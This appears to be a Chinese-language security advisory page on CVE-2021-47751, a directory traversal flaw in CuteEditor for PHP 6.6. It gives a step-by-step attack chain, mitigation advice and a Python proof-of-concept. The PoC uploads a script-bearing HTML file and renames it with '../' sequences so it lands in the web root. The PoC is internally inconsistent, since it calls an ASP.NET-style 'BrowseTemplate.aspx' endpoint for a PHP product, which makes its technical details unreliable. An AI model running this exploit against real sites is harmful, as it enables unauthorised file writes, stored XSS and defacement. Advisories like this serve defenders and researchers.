IPBUF安全漏洞报告
English
CVE-2021-47751 CVSS 7.5 高危

CVE-2021-47751 CuteEditor for PHP目录遍历漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2021-47751
漏洞类型
目录遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CuteEditor for PHP (Rich Text Editor) 6.6

相关标签

目录遍历CuteEditorPHP文件上传路径穿越ServerMapPathbrowse templateRich Text EditorCVE-2021-47751

漏洞概述

CVE-2021-47751是CuteEditor for PHP(现称为Rich Text Editor)6.6版本中存在的一个高危目录遍历漏洞。该漏洞位于browse template(浏览模板)功能中,由于应用程序在处理文件路径时缺乏充分的输入验证,攻击者可以利用ServerMapPath()函数的缺陷,通过在文件重命名操作中注入目录遍历序列(如../),将上传的HTML文件写入到预期的模板目录之外的任意web根目录位置。这一漏洞允许未经身份验证的攻击者远程利用,无需任何用户交互即可实现。由于CuteEditor是一款广泛使用的PHP富文本编辑器,该漏洞可能影响大量使用该组件的Web应用程序。攻击者利用此漏洞可以写入恶意HTML或JavaScript文件,从而可能导致存储型XSS攻击、网页篡改,甚至在某些配置下实现远程代码执行。

技术细节

该漏洞的核心问题在于CuteEditor for PHP的ServerMapPath()函数未能正确验证和清理用户提供的文件路径。攻击者通过browse template功能访问文件管理界面时,可以上传一个HTML文件,然后利用文件重命名功能在文件名中注入目录遍历序列。具体来说,当攻击者将上传的文件重命名为类似../../../../webroot/evil.html的名称时,ServerMapPath()函数会将其解析为相对于web根目录的路径,从而将文件写入服务器上的任意位置。漏洞利用的关键步骤包括:1)访问browse template功能并上传包含恶意内容的HTML文件;2)拦截文件重命名请求;3)将目标文件名修改为包含目录遍历序列的路径;4)服务器将文件写入指定的web可访问目录。由于该漏洞无需认证即可利用,且CVSS评分达到7.5(高危),对使用受影响版本CuteEditor的Web应用构成严重安全威胁。

攻击链分析

STEP 1
步骤1
攻击者访问目标网站上使用CuteEditor for PHP的页面,找到browse template(浏览模板)功能入口
STEP 2
步骤2
攻击者通过browse template功能上传一个包含恶意内容的HTML文件(如包含JavaScript代码的webshell或XSS payload)
STEP 3
步骤3
攻击者拦截文件重命名请求,将文件名修改为包含目录遍历序列的路径,例如:../../../../var/www/html/evil.html
STEP 4
步骤4
服务器端ServerMapPath()函数处理请求时,未能正确验证路径中的../序列,将文件写入到web根目录而不是模板目录
STEP 5
步骤5
攻击者通过HTTP访问写入的恶意文件,如http://target.com/evil.html,从而触发存储型XSS攻击或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2021-47751 PoC - CuteEditor for PHP Directory Traversal # Target: CuteEditor for PHP <= 6.6 # Vulnerability: Path Traversal in browse template feature via ServerMapPath() TARGET_URL = "http://target.com/cuteeditor/" TARGET_PATH = "../../../../var/www/html/evil.html" EVIL_CONTENT = "<script>alert('XSS via Directory Traversal')</script>" def exploit_directory_traversal(): """Exploit the directory traversal vulnerability in CuteEditor""" # Step 1: Access browse template feature browse_url = f"{TARGET_URL}BrowseTemplate.aspx" try: session = requests.Session() # Step 2: Upload malicious HTML file upload_url = f"{TARGET_URL}BrowseTemplate.aspx?action=upload" files = { 'file': ('malicious.html', EVIL_CONTENT, 'text/html') } upload_response = session.post(upload_url, files=files) # Step 3: Intercept and modify rename request with path traversal rename_url = f"{TARGET_URL}BrowseTemplate.aspx?action=rename" rename_data = { 'oldname': 'malicious.html', 'newname': TARGET_PATH } rename_response = session.post(rename_url, data=rename_data) # Step 4: Verify file was written outside template directory verify_url = f"http://target.com/evil.html" verify_response = session.get(verify_url) if 'malicious' in verify_response.text or 'XSS' in verify_response.text: print("[+] Exploit successful! File written to web root.") return True else: print("[-] Exploit failed or file not found at target location.") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("CVE-2021-47751 - CuteEditor Directory Traversal Exploit") exploit_directory_traversal()

影响范围

CuteEditor for PHP 6.6
Rich Text Editor 6.6及之前版本

防御指南

临时缓解措施
立即检查Web应用程序是否使用了CuteEditor for PHP组件,如确认使用该组件,应暂时禁用browse template功能或升级到供应商发布的安全版本。同时建议在文件上传和重命名功能中增加严格的路径验证逻辑,使用白名单机制限制可写入的目录范围,并在Web服务器层面限制上传目录的脚本执行权限。对于无法立即升级的情况,可通过Web应用防火墙配置临时阻断包含../序列的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表